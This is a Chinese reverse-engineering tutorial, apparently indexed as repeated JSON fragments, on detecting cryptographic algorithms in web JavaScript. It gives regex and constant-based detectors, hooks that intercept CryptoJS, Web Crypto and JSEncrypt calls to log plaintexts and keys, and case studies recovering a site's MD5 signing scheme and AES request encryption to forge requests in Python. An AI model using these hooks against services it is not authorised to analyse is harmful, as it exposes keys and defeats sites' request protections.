字符集 A-Z2-7=，长度是 8 的倍数 Hex 字符集 0-9A-F，长度是 2 的倍数 URL Encode 包含 %XX 格式 ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:2:1","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#常见加密算法分类"},{"categories":null,"collections":null,"content":"常见加密算法分类 1. 散列算法（Hash Functions） 特点: 单向不可逆，固定长度输出 算法 输出长度 特征模式 MD5 128 bit (32 hex) 包含 0x67452301, 0xEFCDAB89 等魔数 SHA-1 160 bit (40 hex) 包含 0x67452301, 0xEFCDAB89 等初始值 SHA-256 256 bit (64 hex) 包含 0x6A09E667, 0xBB67AE85 等常量 SHA-512 512 bit (128 hex) 64 轮运算，特征常量数组 SM3 256 bit (64 hex) 国密算法，初始值 0x7380166F 2. 对称加密算法（Symmetric Encryption） 特点: 加密和解密使用相同密钥 算法 密钥长度 块大小 特征 AES 128/192/256 bit 128 bit S-Box 替换表，MixColumns 混淆 DES 56 bit 64 bit 16 轮 Feistel 结构 3DES 168 bit 64 bit DES 三次迭代 RC4 40-2048 bit 流加密 KSA 和 PRGA 两阶段 SM4 128 bit 128 bit 国密算法，32 轮非线性迭代 3. 非对称加密算法（Asymmetric Encryption） 特点: 公钥加密，私钥解密 算法 密钥长度 应用场景 RSA 1024/2048/4096 bit 数字签名、密钥交换 ECC 256/384/521 bit 移动设备、IoT SM2 256 bit 国密非对称算法 4. 编码算法（Encoding） 注意: 编码不是加密，可逆 算法 特征 Base64 字符集 A-Za-z0-9+/=，长度是 4 的倍数 Base32 字符集 A-Z2-7=，长度是 8 的倍数 Hex 字符集 0-9A-F，长度是 2 的倍数 URL Encode 包含 %XX 格式 ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:2:1","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#1-散列算法hash-functions"},{"categories":null,"collections":null,"content":"常见加密算法分类 1. 散列算法（Hash Functions） 特点: 单向不可逆，固定长度输出 算法 输出长度 特征模式 MD5 128 bit (32 hex) 包含 0x67452301, 0xEFCDAB89 等魔数 SHA-1 160 bit (40 hex) 包含 0x67452301, 0xEFCDAB89 等初始值 SHA-256 256 bit (64 hex) 包含 0x6A09E667, 0xBB67AE85 等常量 SHA-512 512 bit (128 hex) 64 轮运算，特征常量数组 SM3 256 bit (64 hex) 国密算法，初始值 0x7380166F 2. 对称加密算法（Symmetric Encryption） 特点: 加密和解密使用相同密钥 算法 密钥长度 块大小 特征 AES 128/192/256 bit 128 bit S-Box 替换表，MixColumns 混淆 DES 56 bit 64 bit 16 轮 Feistel 结构 3DES 168 bit 64 bit DES 三次迭代 RC4 40-2048 bit 流加密 KSA 和 PRGA 两阶段 SM4 128 bit 128 bit 国密算法，32 轮非线性迭代 3. 非对称加密算法（Asymmetric Encryption） 特点: 公钥加密，私钥解密 算法 密钥长度 应用场景 RSA 1024/2048/4096 bit 数字签名、密钥交换 ECC 256/384/521 bit 移动设备、IoT SM2 256 bit 国密非对称算法 4. 编码算法（Encoding） 注意: 编码不是加密，可逆 算法 特征 Base64 字符集 A-Za-z0-9+/=，长度是 4 的倍数 Base32 字符集 A-Z2-7=，长度是 8 的倍数 Hex 字符集 0-9A-F，长度是 2 的倍数 URL Encode 包含 %XX 格式 ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:2:1","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#2-对称加密算法symmetric-encryption"},{"categories":null,"collections":null,"content":"常见加密算法分类 1. 散列算法（Hash Functions） 特点: 单向不可逆，固定长度输出 算法 输出长度 特征模式 MD5 128 bit (32 hex) 包含 0x67452301, 0xEFCDAB89 等魔数 SHA-1 160 bit (40 hex) 包含 0x67452301, 0xEFCDAB89 等初始值 SHA-256 256 bit (64 hex) 包含 0x6A09E667, 0xBB67AE85 等常量 SHA-512 512 bit (128 hex) 64 轮运算，特征常量数组 SM3 256 bit (64 hex) 国密算法，初始值 0x7380166F 2. 对称加密算法（Symmetric Encryption） 特点: 加密和解密使用相同密钥 算法 密钥长度 块大小 特征 AES 128/192/256 bit 128 bit S-Box 替换表，MixColumns 混淆 DES 56 bit 64 bit 16 轮 Feistel 结构 3DES 168 bit 64 bit DES 三次迭代 RC4 40-2048 bit 流加密 KSA 和 PRGA 两阶段 SM4 128 bit 128 bit 国密算法，32 轮非线性迭代 3. 非对称加密算法（Asymmetric Encryption） 特点: 公钥加密，私钥解密 算法 密钥长度 应用场景 RSA 1024/2048/4096 bit 数字签名、密钥交换 ECC 256/384/521 bit 移动设备、IoT SM2 256 bit 国密非对称算法 4. 编码算法（Encoding） 注意: 编码不是加密，可逆 算法 特征 Base64 字符集 A-Za-z0-9+/=，长度是 4 的倍数 Base32 字符集 A-Z2-7=，长度是 8 的倍数 Hex 字符集 0-9A-F，长度是 2 的倍数 URL Encode 包含 %XX 格式 ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:2:1","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#3-非对称加密算法asymmetric-encryption"},{"categories":null,"collections":null,"content":"常见加密算法分类 1. 散列算法（Hash Functions） 特点: 单向不可逆，固定长度输出 算法 输出长度 特征模式 MD5 128 bit (32 hex) 包含 0x67452301, 0xEFCDAB89 等魔数 SHA-1 160 bit (40 hex) 包含 0x67452301, 0xEFCDAB89 等初始值 SHA-256 256 bit (64 hex) 包含 0x6A09E667, 0xBB67AE85 等常量 SHA-512 512 bit (128 hex) 64 轮运算，特征常量数组 SM3 256 bit (64 hex) 国密算法，初始值 0x7380166F 2. 对称加密算法（Symmetric Encryption） 特点: 加密和解密使用相同密钥 算法 密钥长度 块大小 特征 AES 128/192/256 bit 128 bit S-Box 替换表，MixColumns 混淆 DES 56 bit 64 bit 16 轮 Feistel 结构 3DES 168 bit 64 bit DES 三次迭代 RC4 40-2048 bit 流加密 KSA 和 PRGA 两阶段 SM4 128 bit 128 bit 国密算法，32 轮非线性迭代 3. 非对称加密算法（Asymmetric Encryption） 特点: 公钥加密，私钥解密 算法 密钥长度 应用场景 RSA 1024/2048/4096 bit 数字签名、密钥交换 ECC 256/384/521 bit 移动设备、IoT SM2 256 bit 国密非对称算法 4. 编码算法（Encoding） 注意: 编码不是加密，可逆 算法 特征 Base64 字符集 A-Za-z0-9+/=，长度是 4 的倍数 Base32 字符集 A-Z2-7=，长度是 8 的倍数 Hex 字符集 0-9A-F，长度是 2 的倍数 URL Encode 包含 %XX 格式 ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:2:1","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#4-编码算法encoding"},{"categories":null,"collections":null,"content":"加密算法特征识别 ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:3:0","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#加密算法特征识别"},{"categories":null,"collections":null,"content":"1. 通过代码特征识别 MD5 特征检测 // 检测 MD5 算法特征 function detectMD5(code) { const patterns = [ // MD5 初始化向量（魔数） /0x67452301/i, /0xEFCDAB89/i, /0x98BADCFE/i, /0x10325476/i, // MD5 循环移位常量 /0xD76AA478/i, /0xE8C7B756/i, // 函数名特征 /md5|MD5/, // 典型操作：F = (B \u0026 C) | (~B \u0026 D) /[\u0026|~]\\s*[a-z0-9_]+\\s*[\u0026|]\\s*[a-z0-9_]+/, ]; return patterns.some((pattern) =\u003e pattern.test(code)); } AES 特征检测 // 检测 AES 算法特征 function detectAES(code) { const patterns = [ // S-Box 替换表特征值 /0x63.*0x7C.*0x77.*0x7B/, // S-Box 前几个值 // Rijndael S-Box /sbox|s_box|SubBytes/i, // 轮常量 Rcon /rcon|round.*const/i, // MixColumns 多项式 /0x02.*0x03.*0x01.*0x01/, // 函数名 /aes|AES|rijndael/i, // CBC、ECB 等模式 /CBC|ECB|CTR|GCM|CFB/, ]; return patterns.some((pattern) =\u003e pattern.test(code)); } RSA 特征检测 // 检测 RSA 算法特征 function detectRSA(code) { const patterns = [ // 模幂运算 /mod.*exp|modular.*exponentiation/i, // 大数运算库 /bigint|big.*integer|jsbn/i, // RSA 关键字 /rsa|RSA/, // 公钥指数 e (常见值：65537 = 0x10001) /0x10001|65537/, // PKCS 填充 /pkcs.*1|oaep|pss/i, ]; return patterns.some((pattern) =\u003e pattern.test(code)); } ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:3:1","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#1-通过代码特征识别"},{"categories":null,"collections":null,"content":"1. 通过代码特征识别 MD5 特征检测 // 检测 MD5 算法特征 function detectMD5(code) { const patterns = [ // MD5 初始化向量（魔数） /0x67452301/i, /0xEFCDAB89/i, /0x98BADCFE/i, /0x10325476/i, // MD5 循环移位常量 /0xD76AA478/i, /0xE8C7B756/i, // 函数名特征 /md5|MD5/, // 典型操作：F = (B \u0026 C) | (~B \u0026 D) /[\u0026|~]\\s*[a-z0-9_]+\\s*[\u0026|]\\s*[a-z0-9_]+/, ]; return patterns.some((pattern) =\u003e pattern.test(code)); } AES 特征检测 // 检测 AES 算法特征 function detectAES(code) { const patterns = [ // S-Box 替换表特征值 /0x63.*0x7C.*0x77.*0x7B/, // S-Box 前几个值 // Rijndael S-Box /sbox|s_box|SubBytes/i, // 轮常量 Rcon /rcon|round.*const/i, // MixColumns 多项式 /0x02.*0x03.*0x01.*0x01/, // 函数名 /aes|AES|rijndael/i, // CBC、ECB 等模式 /CBC|ECB|CTR|GCM|CFB/, ]; return patterns.some((pattern) =\u003e pattern.test(code)); } RSA 特征检测 // 检测 RSA 算法特征 function detectRSA(code) { const patterns = [ // 模幂运算 /mod.*exp|modular.*exponentiation/i, // 大数运算库 /bigint|big.*integer|jsbn/i, // RSA 关键字 /rsa|RSA/, // 公钥指数 e (常见值：65537 = 0x10001) /0x10001|65537/, // PKCS 填充 /pkcs.*1|oaep|pss/i, ]; return patterns.some((pattern) =\u003e pattern.test(code)); } ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:3:1","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#md5-特征检测"},{"categories":null,"collections":null,"content":"1. 通过代码特征识别 MD5 特征检测 // 检测 MD5 算法特征 function detectMD5(code) { const patterns = [ // MD5 初始化向量（魔数） /0x67452301/i, /0xEFCDAB89/i, /0x98BADCFE/i, /0x10325476/i, // MD5 循环移位常量 /0xD76AA478/i, /0xE8C7B756/i, // 函数名特征 /md5|MD5/, // 典型操作：F = (B \u0026 C) | (~B \u0026 D) /[\u0026|~]\\s*[a-z0-9_]+\\s*[\u0026|]\\s*[a-z0-9_]+/, ]; return patterns.some((pattern) =\u003e pattern.test(code)); } AES 特征检测 // 检测 AES 算法特征 function detectAES(code) { const patterns = [ // S-Box 替换表特征值 /0x63.*0x7C.*0x77.*0x7B/, // S-Box 前几个值 // Rijndael S-Box /sbox|s_box|SubBytes/i, // 轮常量 Rcon /rcon|round.*const/i, // MixColumns 多项式 /0x02.*0x03.*0x01.*0x01/, // 函数名 /aes|AES|rijndael/i, // CBC、ECB 等模式 /CBC|ECB|CTR|GCM|CFB/, ]; return patterns.some((pattern) =\u003e pattern.test(code)); } RSA 特征检测 // 检测 RSA 算法特征 function detectRSA(code) { const patterns = [ // 模幂运算 /mod.*exp|modular.*exponentiation/i, // 大数运算库 /bigint|big.*integer|jsbn/i, // RSA 关键字 /rsa|RSA/, // 公钥指数 e (常见值：65537 = 0x10001) /0x10001|65537/, // PKCS 填充 /pkcs.*1|oaep|pss/i, ]; return patterns.some((pattern) =\u003e pattern.test(code)); } ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:3:1","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#aes-特征检测"},{"categories":null,"collections":null,"content":"1. 通过代码特征识别 MD5 特征检测 // 检测 MD5 算法特征 function detectMD5(code) { const patterns = [ // MD5 初始化向量（魔数） /0x67452301/i, /0xEFCDAB89/i, /0x98BADCFE/i, /0x10325476/i, // MD5 循环移位常量 /0xD76AA478/i, /0xE8C7B756/i, // 函数名特征 /md5|MD5/, // 典型操作：F = (B \u0026 C) | (~B \u0026 D) /[\u0026|~]\\s*[a-z0-9_]+\\s*[\u0026|]\\s*[a-z0-9_]+/, ]; return patterns.some((pattern) =\u003e pattern.test(code)); } AES 特征检测 // 检测 AES 算法特征 function detectAES(code) { const patterns = [ // S-Box 替换表特征值 /0x63.*0x7C.*0x77.*0x7B/, // S-Box 前几个值 // Rijndael S-Box /sbox|s_box|SubBytes/i, // 轮常量 Rcon /rcon|round.*const/i, // MixColumns 多项式 /0x02.*0x03.*0x01.*0x01/, // 函数名 /aes|AES|rijndael/i, // CBC、ECB 等模式 /CBC|ECB|CTR|GCM|CFB/, ]; return patterns.some((pattern) =\u003e pattern.test(code)); } RSA 特征检测 // 检测 RSA 算法特征 function detectRSA(code) { const patterns = [ // 模幂运算 /mod.*exp|modular.*exponentiation/i, // 大数运算库 /bigint|big.*integer|jsbn/i, // RSA 关键字 /rsa|RSA/, // 公钥指数 e (常见值：65537 = 0x10001) /0x10001|65537/, // PKCS 填充 /pkcs.*1|oaep|pss/i, ]; return patterns.some((pattern) =\u003e pattern.test(code)); } ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:3:1","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#rsa-特征检测"},{"categories":null,"collections":null,"content":"2. 通过常量特征识别 // 加密算法常量数据库 const CRYPTO_CONSTANTS = { MD5: [ 0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476, 0xd76aa478, 0xe8c7b756, 0x242070db, ], SHA1: [0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476, 0xc3d2e1f0], SHA256: [ 0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19, ], AES_SBOX: [ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, ], SM3: [ 0x7380166f, 0x4914b2b9, 0x172442d7, 0xda8a0600, 0xa96f30bc, 0x163138aa, 0xe38dee4d, 0xb0fb0e4e, ], }; // 在代码中搜索这些常量 function findCryptoConstants(code) { const found = []; for (const [algo, constants] of Object.entries(CRYPTO_CONSTANTS)) { const hexConstants = constants.map( (c) =\u003e \"0x\" + c.toString(16).toUpperCase() ); for (const constant of hexConstants) { if (code.includes(constant)) { found.push({ algorithm: algo, constant }); } } } return found; } ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:3:2","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#2-通过常量特征识别"},{"categories":null,"collections":null,"content":"3. 通过输出特征识别 // 根据输出长度判断可能的算法 function guessAlgorithmByOutputLength(output) { const length = output.length; const lengthMap = { 32: [\"MD5 (hex)\", \"MD4 (hex)\"], 40: [\"SHA-1 (hex)\", \"RIPEMD-160 (hex)\"], 64: [\"SHA-256 (hex)\", \"SM3 (hex)\", \"RIPEMD-256 (hex)\"], 128: [\"SHA-512 (hex)\", \"Whirlpool (hex)\"], // Base64 编码的长度（近似） 24: [\"MD5 (base64)\"], 28: [\"SHA-1 (base64)\"], 44: [\"SHA-256 (base64)\"], 88: [\"SHA-512 (base64)\"], }; return lengthMap[length] || [\"Unknown\"]; } // 测试示例 console.log(guessAlgorithmByOutputLength(\"5d41402abc4b2a76b9719d911017c592\")); // Output: ['MD5 (hex)', 'MD4 (hex)'] ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:3:3","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#3-通过输出特征识别"},{"categories":null,"collections":null,"content":"自动化检测脚本 ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:4:0","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#自动化检测脚本"},{"categories":null,"collections":null,"content":"综合加密检测脚本 // crypto-detector.js class CryptoDetector { constructor() { this.detectedAlgorithms = new Set(); this.suspiciousFunctions = []; } // 扫描全局对象 scanGlobalObjects() { const cryptoLibraries = [ \"CryptoJS\", \"forge\", \"sjcl\", \"crypto\", \"subtle\", \"JSEncrypt\", \"aesjs\", \"md5\", \"sha1\", \"sha256\", ]; cryptoLibraries.forEach((lib) =\u003e { if (window[lib]) { console.log(`✅ 发现加密库: ${lib}`); this.detectedAlgorithms.add(lib); } }); // 检测 Web Crypto API if (window.crypto \u0026\u0026 window.crypto.subtle) { console.log(\"✅ 发现 Web Crypto API\"); this.detectedAlgorithms.add(\"WebCrypto\"); } } // 扫描已加载的 JS 文件 async scanLoadedScripts() { const scripts = Array.from(document.scripts); for (const script of scripts) { if (!script.src) continue; try { const response = await fetch(script.src); const code = await response.text(); const algorithms = this.detectAlgorithmsInCode(code); if (algorithms.length \u003e 0) { console.log(` 文件: ${script.src}`); console.log(` 算法:`, algorithms); } } catch (e) { console.log(`⚠️ 无法读取: ${script.src}`); } } } // 在代码中检测算法 detectAlgorithmsInCode(code) { const algorithms = []; // 检测各种算法 const detectors = { MD5: this.detectMD5, \"SHA-1\": this.detectSHA1, \"SHA-256\": this.detectSHA256, AES: this.detectAES, DES: this.detectDES, RSA: this.detectRSA, Base64: this.detectBase64, HMAC: this.detectHMAC, SM3: this.detectSM3, SM4: this.detectSM4, }; for (const [name, detector] of Object.entries(detectors)) { if (detector(code)) { algorithms.push(name); } } return algorithms; } // 各种检测函数 detectMD5(code) { return /0x67452301|0xEFCDAB89|0x98BADCFE|md5/i.test(code); } detectSHA1(code) { return /0x67452301.*0xEFCDAB89.*0x98BADCFE.*0x10325476.*0xC3D2E1F0|sha1/i.test( code ); } detectSHA256(code) { return /0x6A09E667|0xBB67AE85|sha256/i.test(code); } detectAES(code) { return /aes|rijndael|SubBytes|MixColumns|0x63.*0x7C.*0x77/i.test(code); } detectDES(code) { return /\\bdes\\b|feistel|permutation.*choice/i.test(code); } detectRSA(code) { return /\\brsa\\b|modpow|0x10001|65537/i.test(code); } detectBase64(code) { return /base64|atob|btoa|ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789/i.test( code ); } detectHMAC(code) { return /hmac|hash.*based.*message.*authentication/i.test(code); } detectSM3(code) { return /sm3|0x7380166F/i.test(code); } detectSM4(code) { return /sm4|0xA3B1BAC6/i.test(code); } // 生成报告 generateReport() { console.log(\"\\n=== 加密算法检测报告 ===\"); console.log(`检测到的加密库数量: ${this.detectedAlgorithms.size}`); console.log(`检测到的算法:`, Array.from(this.detectedAlgorithms)); } } // 使用方法 const detector = new CryptoDetector(); detector.scanGlobalObjects(); detector.scanLoadedScripts().then(() =\u003e { detector.generateReport(); }); ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:4:1","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#综合加密检测脚本"},{"categories":null,"collections":null,"content":"加密库 Hook 脚本 ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:5:0","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#加密库-hook-脚本"},{"categories":null,"collections":null,"content":"Hook CryptoJS (function () { if (!window.CryptoJS) { console.log(\"⚠️ CryptoJS 未加载\"); return; } console.log(\" 开始 Hook CryptoJS\"); // Hook 所有散列算法 const hashAlgorithms = [ \"MD5\", \"SHA1\", \"SHA256\", \"SHA512\", \"SHA3\", \"RIPEMD160\", ]; hashAlgorithms.forEach((algo) =\u003e { if (CryptoJS[algo]) { const original = CryptoJS[algo]; CryptoJS[algo] = function (message) { console.log(` [CryptoJS.${algo}]`); console.log(` 输入:`, message.toString()); const result = original.apply(this, arguments); console.log(` 输出:`, result.toString()); console.trace(); return result; }; } }); // Hook AES 加密 if (CryptoJS.AES) { const originalEncrypt = CryptoJS.AES.encrypt; const originalDecrypt = CryptoJS.AES.decrypt; CryptoJS.AES.encrypt = function (message, key, cfg) { console.log(\" [CryptoJS.AES.encrypt]\"); console.log(\" 明文:\", message.toString()); console.log(\" 密钥:\", key.toString()); console.log(\" 配置:\", cfg); const result = originalEncrypt.apply(this, arguments); console.log(\" 密文:\", result.toString()); console.log(\" Base64:\", result.toString()); console.trace(); return result; }; CryptoJS.AES.decrypt = function (ciphertext, key, cfg) { console.log(\" [CryptoJS.AES.decrypt]\"); console.log(\" 密文:\", ciphertext.toString()); console.log(\" 密钥:\", key.toString()); const result = originalDecrypt.apply(this, arguments); console.log(\" 明文:\", result.toString(CryptoJS.enc.Utf8)); console.trace(); return result; }; } // Hook HMAC if (CryptoJS.HmacSHA256) { const originalHmac = CryptoJS.HmacSHA256; CryptoJS.HmacSHA256 = function (message, key) { console.log(\" [CryptoJS.HmacSHA256]\"); console.log(\" 消息:\", message.toString()); console.log(\" 密钥:\", key.toString()); const result = originalHmac.apply(this, arguments); console.log(\" HMAC:\", result.toString()); return result; }; } console.log(\"✅ CryptoJS Hook 完成\"); })(); ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:5:1","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#hook-cryptojs"},{"categories":null,"collections":null,"content":"Hook Web Crypto API (function () { if (!window.crypto || !window.crypto.subtle) { console.log(\"⚠️ Web Crypto API 不可用\"); return; } console.log(\" 开始 Hook Web Crypto API\"); const subtle = window.crypto.subtle; // Hook encrypt const originalEncrypt = subtle.encrypt; subtle.encrypt = async function (algorithm, key, data) { console.log(\" [crypto.subtle.encrypt]\"); console.log(\" 算法:\", algorithm); console.log(\" 密钥:\", key); console.log(\" 数据长度:\", data.byteLength, \"bytes\"); // 转换为可读格式 const dataArray = new Uint8Array(data); console.log(\" 数据（前100字节）:\", Array.from(dataArray.slice(0, 100))); const result = await originalEncrypt.apply(this, arguments); console.log(\" 密文长度:\", result.byteLength, \"bytes\"); console.trace(); return result; }; // Hook decrypt const originalDecrypt = subtle.decrypt; subtle.decrypt = async function (algorithm, key, data) { console.log(\" [crypto.subtle.decrypt]\"); console.log(\" 算法:\", algorithm); console.log(\" 密钥:\", key); console.log(\" 密文长度:\", data.byteLength, \"bytes\"); const result = await originalDecrypt.apply(this, arguments); const plaintext = new Uint8Array(result); console.log(\" 明文:\", new TextDecoder().decode(plaintext)); return result; }; // Hook digest const originalDigest = subtle.digest; subtle.digest = async function (algorithm, data) { console.log(\" [crypto.subtle.digest]\"); console.log(\" 算法:\", algorithm); const dataArray = new Uint8Array(data); const text = new TextDecoder().decode(dataArray); console.log(\" 输入:\", text); const result = await originalDigest.apply(this, arguments); // 转换为 Hex const hashArray = Array.from(new Uint8Array(result)); const hashHex = hashArray .map((b) =\u003e b.toString(16).padStart(2, \"0\")) .join(\"\"); console.log(\" 哈希:\", hashHex); return result; }; // Hook sign const originalSign = subtle.sign; subtle.sign = async function (algorithm, key, data) { console.log(\" [crypto.subtle.sign]\"); console.log(\" 算法:\", algorithm); console.log(\" 密钥:\", key); const result = await originalSign.apply(this, arguments); const sigArray = Array.from(new Uint8Array(result)); const sigHex = sigArray .map((b) =\u003e b.toString(16).padStart(2, \"0\")) .join(\"\"); console.log(\" 签名:\", sigHex); return result; }; console.log(\"✅ Web Crypto API Hook 完成\"); })(); ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:5:2","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#hook-web-crypto-api"},{"categories":null,"collections":null,"content":"Hook JSEncrypt (RSA) (function () { if (!window.JSEncrypt) { console.log(\"⚠️ JSEncrypt 未加载\"); return; } console.log(\" 开始 Hook JSEncrypt\"); const originalEncrypt = JSEncrypt.prototype.encrypt; const originalDecrypt = JSEncrypt.prototype.decrypt; JSEncrypt.prototype.encrypt = function (text) { console.log(\" [JSEncrypt.encrypt]\"); console.log(\" 明文:\", text); console.log(\" 公钥:\", this.getPublicKey()); const result = originalEncrypt.apply(this, arguments); console.log(\" 密文:\", result); console.trace(); return result; }; JSEncrypt.prototype.decrypt = function (text) { console.log(\" [JSEncrypt.decrypt]\"); console.log(\" 密文:\", text); const result = originalDecrypt.apply(this, arguments); console.log(\" 明文:\", result); return result; }; console.log(\"✅ JSEncrypt Hook 完成\"); })(); ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:5:3","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#hook-jsencrypt-rsa"},{"categories":null,"collections":null,"content":"实战案例 ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:6:0","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#实战案例"},{"categories":null,"collections":null,"content":"案例 1: 识别某电商网站的签名算法 场景: 某电商网站的 API 请求包含签名参数 sign 步骤 1: 检测加密库 const detector = new CryptoDetector(); detector.scanGlobalObjects(); // 输出: ✅ 发现加密库: CryptoJS 步骤 2: Hook CryptoJS 发现调用了 CryptoJS.MD5： [CryptoJS.MD5] 输入: timestamp=1638360000\u0026user_id=123456\u0026secret=abc123 输出: 5d41402abc4b2a76b9719d911017c592 步骤 3: 分析签名逻辑 // 还原签名函数 function generateSign(timestamp, userId, secret) { const str = `timestamp=${timestamp}\u0026user_id=${userId}\u0026secret=${secret}`; return CryptoJS.MD5(str).toString(); } ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:6:1","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#案例-1-识别某电商网站的签名算法"},{"categories":null,"collections":null,"content":"案例 2: 破解 AES 加密的请求参数 场景: 请求体是加密的 Base64 字符串 步骤 1: Hook CryptoJS.AES [CryptoJS.AES.encrypt] 明文: {\"user\":\"admin\",\"password\":\"123456\"} 密钥: my-secret-key-16 配置: {mode: CBC, iv: ...} 密文: U2FsdGVkX1+... (Base64) 步骤 2: 提取加密参数 算法: AES-CBC 密钥: my-secret-key-16 IV: (从配置中提取) 模式: CBC 步骤 3: Python 复现 from Crypto.Cipher import AES from Crypto.Util.Padding import pad import base64 def aes_encrypt(plaintext, key, iv): cipher = AES.new(key.encode(), AES.MODE_CBC, iv.encode()) ciphertext = cipher.encrypt(pad(plaintext.encode(), AES.block_size)) return base64.b64encode(ciphertext).decode() # 使用 key = 'my-secret-key-16' iv = '...' # 从 Hook 结果中获取 data = '{\"user\":\"admin\",\"password\":\"123456\"}' encrypted = aes_encrypt(data, key, iv) ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:6:2","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#案例-2-破解-aes-加密的请求参数"},{"categories":null,"collections":null,"content":"工具集成 ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:7:0","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#工具集成"},{"categories":null,"collections":null,"content":"浏览器插件检测 可以将检测脚本集成到浏览器插件中，实现自动化分析： // content-script.js chrome.runtime.sendMessage({ type: \"crypto_detected\", algorithms: detector.detectedAlgorithms, }); 